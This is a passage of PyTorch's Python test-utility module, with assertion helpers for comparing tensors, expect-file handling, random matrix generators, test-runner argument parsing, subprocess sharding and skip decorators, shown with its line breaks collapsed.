msg=msg) elif x.is_quantized and y.is_quantized: self.assertEqual(x.qscheme(), y.qscheme(), atol=atol, rtol=rtol, msg=msg, exact_dtype=exact_dtype, exact_device=exact_device) if x.qscheme() == torch.per_tensor_affine: self.assertEqual(x.q_scale(), y.q_scale(), atol=atol, rtol=rtol, msg=msg, exact_dtype=exact_dtype, exact_device=exact_device) self.assertEqual(x.q_zero_point(), y.q_zero_point(), atol=atol, rtol=rtol, msg=msg, exact_dtype=exact_dtype, exact_device=exact_device) elif x.qscheme() == torch.per_channel_affine: self.assertEqual(x.q_per_channel_scales(), y.q_per_channel_scales(), atol=atol, rtol=rtol, msg=msg, exact_dtype=exact_dtype, exact_device=exact_device) self.assertEqual(x.q_per_channel_zero_points(), y.q_per_channel_zero_points(), atol=atol, rtol=rtol, msg=msg, exact_dtype=exact_dtype, exact_device=exact_device) self.assertEqual(x.q_per_channel_axis(), y.q_per_channel_axis(), atol=atol, rtol=rtol, msg=msg, exact_dtype=exact_dtype, exact_device=exact_device) result, debug_msg = self._compareTensors(x.int_repr().to(torch.int32), y.int_repr().to(torch.int32), atol=atol, rtol=rtol, exact_dtype=exact_dtype, exact_device=exact_device) if not result and msg is None: assert debug_msg is not None msg = "Quantized representations failed to compare as equal! " + debug_msg self.assertTrue(result, msg=msg) else: result, debug_msg = self._compareTensors(x, y, rtol=rtol, atol=atol, equal_nan=equal_nan, exact_dtype=exact_dtype, exact_device=exact_device) if not result and msg is None: assert debug_msg is not None msg = "Tensors failed to compare as equal! " + debug_msg self.assertTrue(result, msg=msg) elif isinstance(x, string_classes) and isinstance(y, string_classes): super().assertEqual(x, y, msg=msg) elif type(x) == set and type(y) == set: super().assertEqual(x, y, msg=msg) elif isinstance(x, dict) and isinstance(y, dict): if isinstance(x, OrderedDict) and isinstance(y, OrderedDict): self.assertEqual(x.items(), y.items(), atol=atol, rtol=rtol, msg=msg, exact_dtype=exact_dtype, exact_device=exact_device) else: self.assertEqual(set(x.keys()), set(y.keys()), atol=atol, rtol=rtol, msg=msg, exact_dtype=exact_dtype, exact_device=exact_device) key_list = list(x.keys()) self.assertEqual([x[k] for k in key_list], [y[k] for k in key_list], atol=atol, rtol=rtol, msg=msg, exact_dtype=exact_dtype, exact_device=exact_device) elif isinstance(x, type) and isinstance(y, type): # See TestTorch.test_assert_equal_generic_meta super().assertEqual(x, y, msg=msg) elif is_iterable(x) and is_iterable(y): super().assertEqual(len(x), len(y), msg=msg) for x_, y_ in zip(x, y): self.assertEqual(x_, y_, atol=atol, rtol=rtol, msg=msg, exact_dtype=exact_dtype, exact_device=exact_device) elif isinstance(x, bool) and isinstance(y, bool): self.assertTrue(x == y, msg=msg) # Scalar x Scalar elif isinstance(x, Number) and isinstance(y, Number): result, debug_msg = self._compareScalars(x, y, rtol=rtol, atol=atol, equal_nan=equal_nan) if not result and msg is None: assert debug_msg is not None msg = "Scalars failed to compare as equal! " + debug_msg self.assertTrue(result, msg=msg) else: super().assertEqual(x, y, msg=msg) def assertAlmostEqual(self, x, y, *, places=None, msg=None, delta=None): prec = delta if places: prec = 10**(-places) rtol = None if prec is None else 0 self.assertEqual(x, y, msg=msg, atol=prec, rtol=rtol) def assertNotEqual(self, x, y, msg: Optional[str] = None, *, atol: Optional[float] = None, rtol: Optional[float] = None, **kwargs) -> None: with self.assertRaises(AssertionError, msg=msg): self.assertEqual(x, y, msg, atol=atol, rtol=rtol, **kwargs) def assertEqualTypeString(self, x, y) -> None: # This API is used simulate deprecated x.type() == y.type() self.assertEqual(x.device, y.device) self.assertEqual(x.dtype, y.dtype) self.assertEqual(x.is_sparse, y.is_sparse) def assertObjectIn(self, obj: Any, iterable: Iterable[Any]) -> None: for elem in iterable: if id(obj) == id(elem): return raise AssertionError("object not found in iterable") # TODO: Support context manager interface # NB: The kwargs forwarding to callable robs the 'subname' parameter. # If you need it, manually apply your callable in a lambda instead. def assertExpectedRaises(self, exc_type, callable, *args, **kwargs): subname = None if 'subname' in kwargs: subname = kwargs['subname'] del kwargs['subname'] try: callable(*args, **kwargs) except exc_type as e: self.assertExpected(str(e), subname) return # Don't put this in the try block; the AssertionError will catch it self.fail(msg="Did not raise when expected to") def assertNotWarn(self, callable, msg=''): r""" Test if :attr:`callable` does not raise a warning. """ with warnings.catch_warnings(record=True) as ws: warnings.simplefilter("always") # allow any warning to be raised callable() self.assertTrue(len(ws) == 0, msg) @contextmanager def maybeWarnsRegex(self, category, regex=''): """Context manager for code that *may* warn, e.g. ``TORCH_WARN_ONCE``. This filters expected warnings from the test log and fails the test if any unexpected warnings are caught. """ with warnings.catch_warnings(record=True) as ws: warnings.simplefilter("always") # allow any warning to be raised # Ignore expected warnings warnings.filterwarnings("ignore", message=regex, category=category) try: yield finally: if len(ws) != 0: msg = 'Caught unexpected warnings:\n' for w in ws: msg += warnings.formatwarning( w.message, w.category, w.filename, w.lineno, w.line) msg += '\n' self.fail(msg) def assertExpected(self, s, subname=None): r""" Test that a string matches the recorded contents of a file derived from the name of this test and subname. This file is placed in the 'expect' directory in the same directory as the test script. You can automatically update the recorded test output using --accept. If you call this multiple times in a single function, you must give a unique subname each time. """ if not isinstance(s, str): raise TypeError("assertExpected is strings only") def remove_prefix(text, prefix): if text.startswith(prefix): return text[len(prefix):] return text # NB: we take __file__ from the module that defined the test # class, so we place the expect directory where the test script # lives, NOT where test/common_utils.py lives. This doesn't matter in # PyTorch where all test scripts are in the same directory as # test/common_utils.py, but it matters in onnx-pytorch module_id = self.__class__.__module__ munged_id = remove_prefix(self.id(), module_id + ".") test_file = os.path.realpath(sys.modules[module_id].__file__) expected_file = os.path.join(os.path.dirname(test_file), "expect", munged_id) subname_output = "" if subname: expected_file += "-" + subname subname_output = " ({})".format(subname) expected_file += ".expect" expected = None def accept_output(update_type): print("Accepting {} for {}{}:\n\n{}".format(update_type, munged_id, subname_output, s)) with open(expected_file, 'w') as f: f.write(s) try: with open(expected_file) as f: expected = f.read() except IOError as e: if e.errno != errno.ENOENT: raise elif expecttest.ACCEPT: return accept_output("output") else: raise RuntimeError( ("I got this output for {}{}:\n\n{}\n\n" "No expect file exists; to accept the current output, run:\n" "python {} {} --accept").format(munged_id, subname_output, s, __main__.__file__, munged_id)) # a hack for JIT tests if IS_WINDOWS: expected = re.sub(r'CppOp\[(.+?)\]', 'CppOp[]', expected) s = re.sub(r'CppOp\[(.+?)\]', 'CppOp[]', s) # Adjust for producer_version expected = expected.replace( 'producer_version: "XXX"', 'producer_version: "{}"'.format(torch.onnx.producer_version) ) if expecttest.ACCEPT: if expected != s: return accept_output("updated output") else: if hasattr(self, "assertMultiLineEqual"): # Python 2.7 only # NB: Python considers lhs "old" and rhs "new". self.assertMultiLineEqual(expected, s) else: self.assertEqual(s, expected) def assertExpectedStripMangled(self, s, subname=None): s = re.sub(r'__torch__[^ ]+', '', s) self.assertExpected(s, subname) # returns captured stderr @staticmethod def runWithPytorchAPIUsageStderr(code): import subprocess env = os.environ.copy() env["PYTORCH_API_USAGE_STDERR"] = "1" pipes = subprocess.Popen( [sys.executable, '-c', code], stdout=subprocess.PIPE, stderr=subprocess.PIPE, env=env) return pipes.communicate()[1].decode('ascii') if sys.version_info < (3, 2): # assertRegexpMatches renamed to assertRegex in 3.2 assertRegex = unittest.TestCase.assertRegexpMatches # assertRaisesRegexp renamed to assertRaisesRegex in 3.2 assertRaisesRegex = unittest.TestCase.assertRaisesRegexp if sys.version_info < (3, 5): # assertNotRegexpMatches renamed to assertNotRegex in 3.5 assertNotRegex = unittest.TestCase.assertNotRegexpMatches def download_file(url, binary=True): from urllib.parse import urlsplit from urllib import request, error filename = os.path.basename(urlsplit(url)[2]) data_dir = get_writable_path(os.path.join(os.path.dirname(__file__), 'data')) path = os.path.join(data_dir, filename) if os.path.exists(path): return path try: data = request.urlopen(url, timeout=15).read() with open(path, 'wb' if binary else 'w') as f: f.write(data) return path except error.URLError: msg = "could not download test file '{}'".format(url) warnings.warn(msg, RuntimeWarning) raise unittest.SkipTest(msg) def find_free_port(): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sock.bind(('localhost', 0)) sockname = sock.getsockname() sock.close() return sockname[1] # Errors that we can get in c10d initialization for which we should retry tests for. ADDRESS_IN_USE = "Address already in use" CONNECT_TIMEOUT = "connect() timed out." def retry_on_connect_failures(func=None, connect_errors=(ADDRESS_IN_USE)): """Reruns a test if the test returns a RuntimeError and the exception matches exactly with one of the strings in connect_errors.""" # This if block is executed when using this function as a decorator with arguments. if func is None: return partial(retry_on_connect_failures, connect_errors=connect_errors) @wraps(func) def wrapper(*args, **kwargs): tries_remaining = 10 while True: try: return func(*args, **kwargs) except RuntimeError as error: if str(error) in connect_errors: tries_remaining -= 1 if tries_remaining == 0: raise time.sleep(random.random()) continue raise return wrapper # Decorator to retry upon certain Exceptions. def retry(ExceptionToCheck, tries=3, delay=3, skip_after_retries=False): def deco_retry(f): @wraps(f) def f_retry(*args, **kwargs): mtries, mdelay = tries, delay while mtries > 1: try: return f(*args, **kwargs) except ExceptionToCheck as e: msg = "%s, Retrying in %d seconds..." % (str(e), mdelay) print(msg) time.sleep(mdelay) mtries -= 1 try: return f(*args, **kwargs) except ExceptionToCheck as e: raise unittest.SkipTest(f"Skipping after {tries} consecutive {str(e)}") from e if skip_after_retries else e return f_retry # true decorator return deco_retry # Methods for matrix generation # Used in test_autograd.py and test_torch.py def prod_single_zero(dim_size): result = torch.randn(dim_size, dim_size) result[0, 1] = 0 return result def random_square_matrix_of_rank(l, rank, dtype=torch.double, device='cpu'): assert rank <= l A = torch.randn(l, l, dtype=dtype, device=device) u, s, v = A.svd() for i in range(l): if i >= rank: s[i] = 0 elif s[i] == 0: s[i] = 1 return u.mm(torch.diag(s)).mm(v.transpose(0, 1)) def random_symmetric_matrix(l, *batches, **kwargs): dtype = kwargs.get('dtype', torch.double) device = kwargs.get('device', 'cpu') A = torch.randn(*(batches + (l, l)), dtype=dtype, device=device) A = (A + A.transpose(-2, -1)).div_(2) return A def random_symmetric_psd_matrix(l, *batches, **kwargs): dtype = kwargs.get('dtype', torch.double) device = kwargs.get('device', 'cpu') A = torch.randn(*(batches + (l, l)), dtype=dtype, device=device) return torch.matmul(A, A.transpose(-2, -1)) def random_symmetric_pd_matrix(matrix_size, *batch_dims, **kwargs): dtype = kwargs.get('dtype', torch.double) device = kwargs.get('device', 'cpu') A = torch.randn(*(batch_dims + (matrix_size, matrix_size)), dtype=dtype, device=device) return torch.matmul(A, A.transpose(-2, -1)) \ + torch.eye(matrix_size, dtype=dtype, device=device) * 1e-5 def make_nonzero_det(A, sign=None, min_singular_value=0.1): u, s, v = A.svd() s.clamp_(min=min_singular_value) A = torch.matmul(u, torch.matmul(torch.diag_embed(s), v.transpose(-2, -1))) det = A.det() if sign is not None: if A.dim() == 2: det = det.item() if (det < 0) ^ (sign < 0): A[0, :].neg_() else: cond = ((det < 0) ^ (sign < 0)).nonzero() if cond.size(0) > 0: for i in range(cond.size(0)): A[list(cond[i])][0, :].neg_() return A def random_fullrank_matrix_distinct_singular_value(matrix_size, *batch_dims, **kwargs): dtype = kwargs.get('dtype', torch.double) device = kwargs.get('device', 'cpu') silent = kwargs.get("silent", False) if silent and not torch._C.has_lapack: return torch.ones(matrix_size, matrix_size, dtype=dtype, device=device) A = torch.randn(batch_dims + (matrix_size, matrix_size), dtype=dtype, device=device) u, _, v = A.svd() s = torch.arange(1., matrix_size + 1, dtype=dtype, device=device).mul_(1.0 / (matrix_size + 1)).diag() return u.matmul(s.expand(batch_dims + (matrix_size, matrix_size)).matmul(v.transpose(-2, -1))) def random_matrix(rows, columns, *batch_dims, **kwargs): """Return rectangular matrix or batches of rectangular matrices. Parameters: dtype - the data type device - the device kind singular - when True, the output will be singular """ dtype = kwargs.get('dtype', torch.double) device = kwargs.get('device', 'cpu') silent = kwargs.get("silent", False) singular = kwargs.get("singular", False) if silent and not torch._C.has_lapack: return torch.ones(rows, columns, dtype=dtype, device=device) A = torch.randn(batch_dims + (rows, columns), dtype=dtype, device=device) u, _, v = A.svd(some=False) s = torch.zeros(rows, columns, dtype=dtype, device=device) k = min(rows, columns) for i in range(k): s[i, i] = float(i + 1) / (k + 1) if singular: # make matrix singular s[k - 1, k - 1] = 0 if k > 2: # increase the order of singularity so that the pivoting # in LU factorization will be non-trivial s[0, 0] = 0 return u.matmul(s.expand(batch_dims + (rows, columns)).matmul(v.transpose(-2, -1))) def random_lowrank_matrix(rank, rows, columns, *batch_dims, **kwargs): """Return rectangular matrix or batches of rectangular matrices with given rank. """ B = random_matrix(rows, rank, *batch_dims, **kwargs) C = random_matrix(rank, columns, *batch_dims, **kwargs) return B.matmul(C) def random_sparse_matrix(rows, columns, density=0.01, **kwargs): """Return rectangular random sparse matrix within given density. The density of the result approaches to given density as the size of the matrix is increased and a relatively small value of density is specified but higher than min(rows, columns)/(rows * columns) for non-singular matrices. """ dtype = kwargs.get('dtype', torch.double) device = kwargs.get('device', 'cpu') singular = kwargs.get("singular", False) k = min(rows, columns) nonzero_elements = max(min(rows, columns), int(rows * columns * density)) row_indices = [i % rows for i in range(nonzero_elements)] column_indices = [i % columns for i in range(nonzero_elements)] random.shuffle(column_indices) indices = [row_indices, column_indices] values = torch.randn(nonzero_elements, dtype=dtype, device=device) # ensure that the diagonal dominates values *= torch.tensor([-float(i - j)**2 for i, j in zip(*indices)], dtype=dtype, device=device).exp() A = torch.sparse_coo_tensor(indices, values, (rows, columns), device=device) return A.coalesce() def random_sparse_pd_matrix(matrix_size, density=0.01, **kwargs): """Return random sparse positive-definite matrix with given density. The eigenvalues of the matrix are defined as:: arange(1, matrix_size+1)/matrix_size Algorithm: A = diag(arange(1, matrix_size+1)/matrix_size) while <A density is smaller than required>: <choose random i, j in range(matrix_size), theta in [0, 2*pi]> R = <rotation matrix (i,j,theta)> A = R^T A R """ import math torch = kwargs.get('torch', globals()['torch']) dtype = kwargs.get('dtype', torch.double) device = kwargs.get('device', 'cpu') data = dict([((i, i), float(i + 1) / matrix_size) for i in range(matrix_size)]) def multiply(data, N, i, j, cs, sn, left=True): for k in range(N): if left: ik, jk = (k, i), (k, j) else: ik, jk = (i, k), (j, k) aik, ajk = data.get(ik, 0), data.get(jk, 0) aik, ajk = cs * aik + sn * ajk, -sn * aik + cs * ajk if aik: data[ik] = aik else: data.pop(ik, None) if ajk: data[jk] = ajk else: data.pop(jk, None) target_nnz = density * matrix_size * matrix_size while len(data) < target_nnz: i = random.randint(0, matrix_size - 1) j = random.randint(0, matrix_size - 1) if i != j: theta = random.uniform(0, 2 * math.pi) cs = math.cos(theta) sn = math.sin(theta) multiply(data, matrix_size, i, j, cs, sn, left=True) multiply(data, matrix_size, i, j, cs, sn, left=False) icoords, jcoords, values = [], [], [] for (i, j), v in sorted(data.items()): icoords.append(i) jcoords.append(j) values.append(v) indices = [icoords, jcoords] return torch.sparse_coo_tensor(indices, values, (matrix_size, matrix_size), dtype=dtype, device=device) def do_test_dtypes(self, dtypes, layout, device): for dtype in dtypes: if dtype != torch.float16: out = torch.zeros((2, 3), dtype=dtype, layout=layout, device=device) self.assertIs(dtype, out.dtype) self.assertIs(layout, out.layout) self.assertEqual(device, out.device) def do_test_empty_full(self, dtypes, layout, device): shape = torch.Size([2, 3]) def check_value(tensor, dtype, layout, device, value, requires_grad): self.assertEqual(shape, tensor.shape) self.assertIs(dtype, tensor.dtype) self.assertIs(layout, tensor.layout) self.assertEqual(tensor.requires_grad, requires_grad) if tensor.is_cuda and device is not None: self.assertEqual(device, tensor.device) if value is not None: fill = tensor.new(shape).fill_(value) self.assertEqual(tensor, fill) def get_int64_dtype(dtype): module = '.'.join(str(dtype).split('.')[1:-1]) if not module: return torch.int64 return operator.attrgetter(module)(torch).int64 default_dtype = torch.get_default_dtype() check_value(torch.empty(shape), default_dtype, torch.strided, -1, None, False) check_value(torch.full(shape, -5.), default_dtype, torch.strided, -1, None, False) for dtype in dtypes: for rg in {dtype.is_floating_point, False}: int64_dtype = get_int64_dtype(dtype) v = torch.empty(shape, dtype=dtype, device=device, layout=layout, requires_grad=rg) check_value(v, dtype, layout, device, None, rg) out = v.new() check_value(torch.empty(shape, out=out, device=device, layout=layout, requires_grad=rg), dtype, layout, device, None, rg) check_value(v.new_empty(shape), dtype, layout, device, None, False) check_value(v.new_empty(shape, dtype=int64_dtype, device=device, requires_grad=False), int64_dtype, layout, device, None, False) check_value(torch.empty_like(v), dtype, layout, device, None, False) check_value(torch.empty_like(v, dtype=int64_dtype, layout=layout, device=device, requires_grad=False), int64_dtype, layout, device, None, False) if dtype is not torch.float16 and layout != torch.sparse_coo: fv = 3 v = torch.full(shape, fv, dtype=dtype, layout=layout, device=device, requires_grad=rg) check_value(v, dtype, layout, device, fv, rg) check_value(v.new_full(shape, fv + 1), dtype, layout, device, fv + 1, False) out = v.new() check_value(torch.full(shape, fv + 2, out=out, device=device, layout=layout, requires_grad=rg), dtype, layout, device, fv + 2, rg) check_value(v.new_full(shape, fv + 3, dtype=int64_dtype, device=device, requires_grad=False), int64_dtype, layout, device, fv + 3, False) check_value(torch.full_like(v, fv + 4), dtype, layout, device, fv + 4, False) check_value(torch.full_like(v, fv + 5, dtype=int64_dtype, layout=layout, device=device, requires_grad=False), int64_dtype, layout, device, fv + 5, False) THESE_TAKE_WAY_TOO_LONG = { 'test_Conv3d_groups', 'test_conv_double_backward', 'test_conv_double_backward_groups', 'test_Conv3d_dilated', 'test_Conv3d_stride_padding', 'test_Conv3d_dilated_strided', 'test_Conv3d', 'test_Conv2d_dilated', 'test_ConvTranspose3d_dilated', 'test_ConvTranspose2d_dilated', 'test_snli', 'test_Conv2d', 'test_Conv2d_padding', 'test_ConvTranspose2d_no_bias', 'test_ConvTranspose2d', 'test_ConvTranspose3d', 'test_Conv2d_no_bias', 'test_matmul_4d_4d', 'test_multinomial_invalid_probs', } running_script_path = None def set_running_script_path(): global running_script_path try: running_file = os.path.abspath(os.path.realpath(sys.argv[0])) if running_file.endswith('.py'): # skip if the running file is not a script running_script_path = running_file except Exception: pass def check_test_defined_in_running_script(test_case): if running_script_path is None: return test_case_class_file = os.path.abspath(os.path.realpath(inspect.getfile(test_case.__class__))) assert test_case_class_file == running_script_path, "Class of loaded TestCase \"{}\" " \ "is not defined in the running script \"{}\", but in \"{}\". Did you " \ "accidentally import a unittest.TestCase from another file?".format( test_case.id(), running_script_path, test_case_class_file) def load_tests(loader, tests, pattern): set_running_script_path() test_suite = unittest.TestSuite() for test_group in tests: for test in test_group: check_test_defined_in_running_script(test) test_suite.addTest(test) return test_suite class BytesIOContext(io.BytesIO): def __enter__(self): return self def __exit__(self, *args): pass def _assertGradAndGradgradChecks(test_case, apply_fn, inputs): # call assert function rather than returning a bool since it's nicer # if we get whether this failed on the gradcheck or the gradgradcheck. test_case.assertTrue(gradcheck(apply_fn, inputs)) test_case.assertTrue(gradgradcheck(apply_fn, inputs)) # Using @precisionOverride specific to your test is the recommended way # of doing this. These are just some values that worked for test_nn. dtype2prec_DONTUSE = {torch.float: 1e-5, torch.double: 1e-5, torch.half: 1e-2, torch.bfloat16: 1e-1}

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import sys import os import platform import re import gc import types from functools import partial import inspect import io import argparse import unittest import warnings import random import contextlib import socket import subprocess import time from collections import OrderedDict from contextlib import contextmanager from functools import wraps from itertools import product from copy import deepcopy from numbers import Number import tempfile import json from urllib.request import urlopen import __main__ import errno from typing import cast, Any, Iterable, Optional from torch.testing._internal import expecttest from torch.testing import _compare_tensors_internal, _compare_scalars_internal, _compare_return_type import torch import torch.cuda from torch._utils_internal import get_writable_path from torch._six import string_classes import torch.backends.cudnn import torch.backends.mkl from enum import Enum from torch.autograd import gradcheck from torch.autograd.gradcheck import gradgradcheck torch.backends.disable_global_flags() IS_SANDCASTLE = os.getenv('SANDCASTLE') == '1' or os.getenv('TW_JOB_USER') == 'sandcastle' class ProfilingMode(Enum): LEGACY = 1 SIMPLE = 2 PROFILING = 3 def cppProfilingFlagsToProfilingMode(): old_prof_exec_state = torch._C._jit_set_profiling_executor(True) old_prof_mode_state = torch._C._jit_set_profiling_mode(True) torch._C._jit_set_profiling_executor(old_prof_exec_state) torch._C._jit_set_profiling_mode(old_prof_mode_state) if old_prof_exec_state: if old_prof_mode_state: return ProfilingMode.PROFILING else: return ProfilingMode.SIMPLE else: return ProfilingMode.LEGACY @contextmanager def enable_profiling_mode_for_profiling_tests(): if GRAPH_EXECUTOR == ProfilingMode.PROFILING: old_prof_exec_state = torch._C._jit_set_profiling_executor(True) old_prof_mode_state = torch._C._jit_set_profiling_mode(True) try: yield finally: if GRAPH_EXECUTOR == ProfilingMode.PROFILING: torch._C._jit_set_profiling_executor(old_prof_exec_state) torch._C._jit_set_profiling_mode(old_prof_mode_state) @contextmanager def enable_profiling_mode(): old_prof_exec_state = torch._C._jit_set_profiling_executor(True) old_prof_mode_state = torch._C._jit_set_profiling_mode(True) try: yield finally: torch._C._jit_set_profiling_executor(old_prof_exec_state) torch._C._jit_set_profiling_mode(old_prof_mode_state) @contextmanager def num_profiled_runs(num_runs): old_num_runs = torch._C._jit_set_num_profiled_runs(num_runs) try: yield finally: torch._C._jit_set_num_profiled_runs(old_num_runs) func_call = torch._C.ScriptFunction.__call__ meth_call = torch._C.ScriptMethod.__call__ def prof_callable(callable, *args, **kwargs): if 'profile_and_replay' in kwargs: del kwargs['profile_and_replay'] if GRAPH_EXECUTOR == ProfilingMode.PROFILING: with enable_profiling_mode_for_profiling_tests(): callable(*args, **kwargs) return callable(*args, **kwargs) return callable(*args, **kwargs) def prof_func_call(*args, **kwargs): return prof_callable(func_call, *args, **kwargs) def prof_meth_call(*args, **kwargs): return prof_callable(meth_call, *args, **kwargs) torch._C.ScriptFunction.__call__ = prof_func_call torch._C.ScriptMethod.__call__ = prof_meth_call def _get_test_report_path(): override = os.environ.get('TEST_REPORT_SOURCE_OVERRIDE') test_source = override if override is not None else 'python-unittest' return os.path.join('test-reports', test_source) parser = argparse.ArgumentParser(add_help=False) parser.add_argument('--subprocess', action='store_true', help='whether to run each test in a subprocess') parser.add_argument('--seed', type=int, default=1234) parser.add_argument('--accept', action='store_true') parser.add_argument('--ge_config', type=str) parser.add_argument('--repeat', type=int, default=1) parser.add_argument('--test_bailouts', action='store_true') parser.add_argument('--save-xml', nargs='?', type=str, const=_get_test_report_path(), default=_get_test_report_path() if bool(os.environ.get('IN_CIRCLECI')) else None) parser.add_argument('--discover-tests', action='store_true') parser.add_argument('--log-suffix', type=str, default="") parser.add_argument('--run-parallel', type=int, default=1) args, remaining = parser.parse_known_args() if args.ge_config == 'legacy': GRAPH_EXECUTOR = ProfilingMode.LEGACY elif args.ge_config == 'profiling': GRAPH_EXECUTOR = ProfilingMode.PROFILING elif args.ge_config == 'simple': GRAPH_EXECUTOR = ProfilingMode.SIMPLE else: GRAPH_EXECUTOR = cppProfilingFlagsToProfilingMode() LOG_SUFFIX = args.log_suffix RUN_PARALLEL = args.run_parallel TEST_BAILOUTS = args.test_bailouts TEST_DISCOVER = args.discover_tests TEST_IN_SUBPROCESS = args.subprocess TEST_SAVE_XML = args.save_xml REPEAT_COUNT = args.repeat SEED = args.seed if not expecttest.ACCEPT: expecttest.ACCEPT = args.accept UNITTEST_ARGS = [sys.argv[0]] + remaining torch.manual_seed(SEED) def wait_for_process(p): try: return p.wait() except KeyboardInterrupt: exit_status = p.wait(timeout=5) if exit_status is not None: return exit_status else: p.kill() raise except: # noqa E722, copied from python core library p.kill() raise finally: # Always call p.wait() to ensure exit p.wait() def shell(command, cwd=None, env=None): sys.stdout.flush() sys.stderr.flush() # The following cool snippet is copied from Py3 core library subprocess.call # only the with # 1. `except KeyboardInterrupt` block added for SIGINT handling. # 2. In Py2, subprocess.Popen doesn't return a context manager, so we do t not isinstance(command, torch._six.string_classes), "Command to shell should be a list or tuple of tokens" p = subprocess.Popen(command, universal_newlines=True, cwd=cwd, env=env) return wait_for_process(p) def repeat_test_for_types(dtypes): def repeat_helper(f): @wraps(f) def call_helper(self, *args): for dtype in dtypes: with TestCase.subTest(self, dtype=dtype): f(self, *args, dtype=dtype) return call_helper return repeat_helper IS_PYTORCH_CI = bool(os.environ.get('IS_PYTORCH_CI')) def discover_test_cases_recursively(suite_or_case): if isinstance(suite_or_case, unittest.TestCase): return [suite_or_case] rc = [] for element in suite_or_case: rc.extend(discover_test_cases_recursively(element)) return rc def get_test_names(test_cases): return ['.'.join(case.id().split('.')[-2:]) for case in test_cases] def chunk_list(lst, nchunks): return [lst[i::nchunks] for i in range(nchunks)] def run_tests(argv=UNITTEST_ARGS): if TEST_DISCOVER: suite = unittest.TestLoader().loadTestsFromModule(__main__) test_cases = discover_test_cases_recursively(suite) for name in get_test_names(test_cases): print(name) elif TEST_IN_SUBPROCESS: suite = unittest.TestLoader().loadTestsFromModule(__main__) test_cases = discover_test_cases_recursively(suite) failed_tests = [] for case in test_cases: test_case_full_name = case.id().split('.', 1)[1] exitcode = shell([sys.executable] + argv + [test_case_full_name]) if exitcode != 0: failed_tests.append(test_case_full_name) assert len(failed_tests) == 0, "{} unit test(s) failed:\n\t{}".format( len(failed_tests), '\n\t'.join(failed_tests)) elif RUN_PARALLEL > 1: suite = unittest.TestLoader().loadTestsFromModule(__main__) test_cases = discover_test_cases_recursively(suite) test_batches = chunk_list(get_test_names(test_cases), RUN_PARALLEL) processes = [] for i in range(RUN_PARALLEL): command = [sys.executable] + argv + ['--log-suffix=-shard-{}'.format(i + 1)] + test_batches[i] processes.append(subprocess.Popen(command, universal_newlines=True)) failed = False for p in processes: failed |= wait_for_process(p) != 0 assert not failed, "Some test shards have failed" elif TEST_SAVE_XML is not None: import xmlrunner test_report_path = TEST_SAVE_XML + LOG_SUFFIX os.makedirs(test_report_path, exist_ok=True) verbose = '--verbose' in argv or '-v' in argv if verbose: print('Test results will be stored in {}'.format(test_report_path)) unittest.main(argv=argv, testRunner=xmlrunner.XMLTestRunner(output=test_report_path, verbosity=2 if verbose else 1)) elif REPEAT_COUNT > 1: for _ in range(REPEAT_COUNT): if not unittest.main(exit=False, argv=argv).result.wasSuccessful(): sys.exit(-1) else: unittest.main(argv=argv) IS_WINDOWS = sys.platform == "win32" IS_MACOS = sys.platform == "darwin" IS_PPC = platform.machine() == "ppc64le" if IS_WINDOWS: @contextmanager def TemporaryFileName(): # Ideally we would like to not have to manually delete the file, but NamedTemporaryFile # opens the file, and it cannot be opened multiple times in Windows. To support Windows, # close the file after creation and try to remove it manually f = tempfile.NamedTemporaryFile(delete=False) try: f.close() yield f.name finally: os.unlink(f.name) else: @contextmanager # noqa: T484 def TemporaryFileName(): with tempfile.NamedTemporaryFile() as f: yield f.name def _check_module_exists(name): import importlib import importlib.util spec = importlib.util.find_spec(name) return spec is not None TEST_NUMPY = _check_module_exists('numpy') TEST_SCIPY = _check_module_exists('scipy') TEST_MKL = torch.backends.mkl.is_available() TEST_NUMBA = _check_module_exists('numba') TEST_DILL = _check_module_exists('dill') TEST_LIBROSA = _check_module_exists('librosa') # Python 2.7 doesn't have spawn NO_MULTIPROCESSING_SPAWN = os.environ.get('NO_MULTIPROCESSING_SPAWN', '0') == '1' TEST_WITH_ASAN = os.getenv('PYTORCH_TEST_WITH_ASAN', '0') == '1' TEST_WITH_TSAN = os.getenv('PYTORCH_TEST_WITH_TSAN', '0') == '1' TEST_WITH_UBSAN = os.getenv('PYTORCH_TEST_WITH_UBSAN', '0') == '1' TEST_WITH_ROCM = os.getenv('PYTORCH_TEST_WITH_ROCM', '0') == '1' TEST_WITH_SLOW = os.getenv('PYTORCH_TEST_WITH_SLOW', '0') == '1' TEST_SKIP_FAST = os.getenv('PYTORCH_TEST_SKIP_FAST', '0') == '1' if TEST_NUMPY: import numpy as np numpy_to_torch_dtype_dict = { np.bool : torch.bool, np.uint8 : torch.uint8, np.int8 : torch.int8, np.int16 : torch.int16, np.int32 : torch.int32, np.int64 : torch.int64, np.float16 : torch.float16, np.float32 : torch.float32, np.float64 : torch.float64, np.complex64 : torch.complex64, np.complex128 : torch.complex128 } torch_to_numpy_dtype_dict = {value : key for (key, value) in numpy_to_torch_dtype_dict.items()} ALL_TENSORTYPES = [torch.float, torch.double, torch.half] if TEST_WITH_ROCM: ALL_TENSORTYPES2 = [torch.float, torch.double, torch.half, torch.bfloat16] else: ALL_TENSORTYPES2 = ALL_TENSORTYPES def skipIfRocm(fn): @wraps(fn) def wrapper(*args, **kwargs): if TEST_WITH_ROCM: raise unittest.SkipTest("test doesn't currently work on the ROCm stack") else: fn(*args, **kwargs) return wrapper def skipIfCompiledWithoutNumpy(fn): # Even if the numpy module is present, if `USE_NUMPY=0` is used during the # build, numpy tests will fail numpy_support = TEST_NUMPY if numpy_support: try: # The numpy module is present, verify that PyTorch is compiled with # numpy support torch.from_numpy(np.array([2, 2])) except RuntimeError: numpy_support = False @wraps(fn) def wrapper(*args, **kwargs): if not numpy_support: raise unittest.SkipTest("PyTorch was compiled without numpy support") else: fn(*args, **kwargs) return wrapper def _test_function(fn, device): def run_test_function(self): return fn(self, device) return run_test_function def skipIfNoLapack(fn): @wraps(fn) def wrapper(*args, **kwargs): if not torch._C.has_lapack: raise unittest.SkipTest('PyTorch compiled without Lapack') else: fn(*args, **kwargs) return wrapper def skipIfNotRegistered(op_name, message): try: from caffe2.python import core skipper = unittest.skipIf(op_name not in core._REGISTERED_OPERATORS, message) except ImportError: skipper = unittest.skip("Cannot import `caffe2.python.core`") return skipper def skipIfNoSciPy(fn): @wraps(fn) def wrapper(*args, **kwargs): if not TEST_SCIPY: raise unittest.SkipTest("test require SciPy, but SciPy not found") else: fn(*args, **kwargs) return wrapper def slowTest(fn): @wraps(fn) def wrapper(*args, 